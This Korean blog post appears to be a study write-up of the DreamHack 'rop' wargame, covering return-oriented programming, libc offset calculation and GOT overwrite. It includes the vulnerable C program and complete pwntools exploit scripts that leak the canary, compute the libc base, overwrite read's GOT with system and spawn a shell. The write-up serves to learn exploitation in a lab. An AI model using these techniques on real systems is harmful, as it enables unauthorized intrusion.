INTERLUDE/System Hacking

[DreamHack] Return Oriented Programming

sohexz 2024. 2. 23. 15:20

 
ASLR이 걸린 환경에서 system 함수 사용
-> 프로세스에서 libc가 매핑된 주소 찾기
-> 그 주소로부터 system 함수의 오프셋을 이용해 함수의 주소 계산
 
 

Return Oriented Programming

리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법
return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성 가능
 
 
ROP 페이로드는 리턴 가젯으로 구성됨
ROP chain: ret 단위로 여러 코드가 연쇄적으로 실행되는 모습
 

  • GOT Overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법

 

[wargame] rop

스택 카나리, NX을 적용하여 컴파일한 바이너리를, ROP를 이용한 GOT Overwrite으로 익스플로잇 하는 실습
 

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 
실행 결과

 
 
checksec

실습환경에는 ASLR이 적용
바이너리에는 카나리와 NX가 적용
 

system 함수의 주소 계산

system 함수-> libc.so.6에 정의되어 있음
 
libc.so.6
- 이 바이너리가 호출하는 read, puts, printf 정의
- 메모리에 매핑될 때 전체가 매핑되기에 다른 함수들과 함께 system 함수도 메모리에 같이 적재됨
 
바이너리가 system 함수를 직접 호출하지는 않기에 system 함수가  GOT에 등록 X
But! read, puts, printf는 GOT에 등록 O
 
main 함수에서 반환될 때? -> 이 함수들을 모두 호출한 이후
이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있음
 
libc에는 여러 버전이 있음
같은 libc 안에서 두 데이터 사이의 거리(Offset)는 항상 같음
-> 사용하는 libc의 버전을 알고 libc가 매핑된 영역의 임의 주소를 수할 수 있으면?
-> 다른 데이터의 주소를 모두 계산할 수 있음
 
 
함수의 오프셋 구하기

$ readelf -s libc.so.6 | grep " [함수이름]@"

 
Ubuntu GLIBC 2.35-0ubuntu3.1에서 read 함수와 system 함수 사이의 거리는 항상 0xc3c20

0x114980 에서 0xc3c20 를 빼면 system 함수의 오프셋인 0x50d60
 

 
 

“/bin/sh”

데이터 영역에 "/bin/sh"문자열이 없음
-> 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나 다른 파일에 포함된 것을 사용해야 함
 

ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조
 

GOT Overwrite

system 함수와 "/bin/sh" 문자열의 주소를 알고 있음
-> pop rdi; ret 가젯을 활용해 system("/bin/sh") 호출 가능
 
But!
system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후임
 
system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 BOF를 일으켜야 함
-> 이러한 공격 패턴: ret2main
 
Lazy binding

  1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
  2. 찾은 주소를 GOT에 적고, 이를 호출한다.
  3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.

Lazy binding에서 GOT Overwrite에 이용되는 부분은 3번
-> GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있다면?
-> 해당 함수가 재호출 될 때 공격자가 원하는 코드가 실행되게 할 수 있음
 
=> 알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓴 후 그 함수를 재호출 하도록 ROP 체인을 구성
 
 

익스플로잇

카나리 우회

from pwn import *

p=remote("host3.dreamhack.games", 24180)
e=ELF("./rop")

def slog(n,m) :return success(': '.join([n,hex(m)]))

#Leak canary
buf=b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry=u64(b'\x00'+p.recvn(7))
slog('canary',cnry)

 

 
 
 
system 함수의 주소 계산
 
system 함수와 read 함수의 오프셋 구하기

#!/usr/bin/env python3
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_system = libc.symbols["read"]-libc.symbols["system"]

 
 

pop_rdi: 0x0000000000400853
 

pop_rsi:0x0000000000400851
 
 

from pwn import *

p=remote("host3.dreamhack.games", 14104)
e=ELF("./rop")

def slog(n,m) :return success(': '.join([n,hex(m)]))

#Leak canary                                                  
buf=b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry=u64(b'\x00'+p.recvn(7))
slog('canary',cnry)


#system func addr
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_system = libc.symbols["read"]-libc.symbols["system"]


#expoit
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
pop_rdi=0x0000000000400853
pop_rsi_r15=0x0000000000400851


payload=b'A'*0x38+p64(cnry)+b'B'*0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.interactive()

 

 
 

 

GOT Overwrite 및 "/bin/sh" 입력
 
"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력
바이너리에서는 입력을 위해 read 함수를 사용할 수 있음

rdi, rsi, rdx 레지스터를 설정해야 함
 
rdi, rsi는 pop rdi; ret, pop rsi; pop r15; ret 가젯으로 설정 가능
rdx와 관련된 가젯은 바이너리에서 찾기 어려움
-> libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제 해결
-> rdx의 값을 변화시키는 함수를 호출하여 값 설정
ex) strnmp함수는 rax로 비교의 결과를 반환, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이 반환함
 
 
 
문제 파일에서 read 함수의 GOT를 읽은 뒤 rdx 값이 크게 설정되기 때문에 rdx를 설정하는 가젯을 추가하지 않아도 됨
 
read 함수, pop rdi ; ret, pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 “/bin/sh”문자열을 쓰는 익스플로잇

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

 
 
셸 획득
 
read 함수의 GOT를 system 함수의 주소로 덮었으므로 system("/bin/sh") 를 실행할 수 있음
read 함수, pop rdi; ret 가젯, “/bin/sh”의 주소(read_got + 8 )를 이용
 
- ROP chain으로 호출한 system()이 movaps xmmword ptr [rsp], xmm1 명령어에서 실패하는 경우

movaps 명령어로 메모리에 데이터를 옮길 때, 메모리의 정렬 상태가 깨져있으면 SIGSEGV가 발생함
movaps xmmword ptr [rsp], xmm1를 실행할 때, rsp 레지스터가 0x10으로 나누어 떨어지는 값을 가지도록 ROP chain에 ret 가젯 추가
 

from pwn import *

p=remote("host3.dreamhack.games", 10240)
e=ELF("./rop")
libc = ELF('./libc.so.6')

def slog(n,m) :return success(': '.join([n,hex(m)]))

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()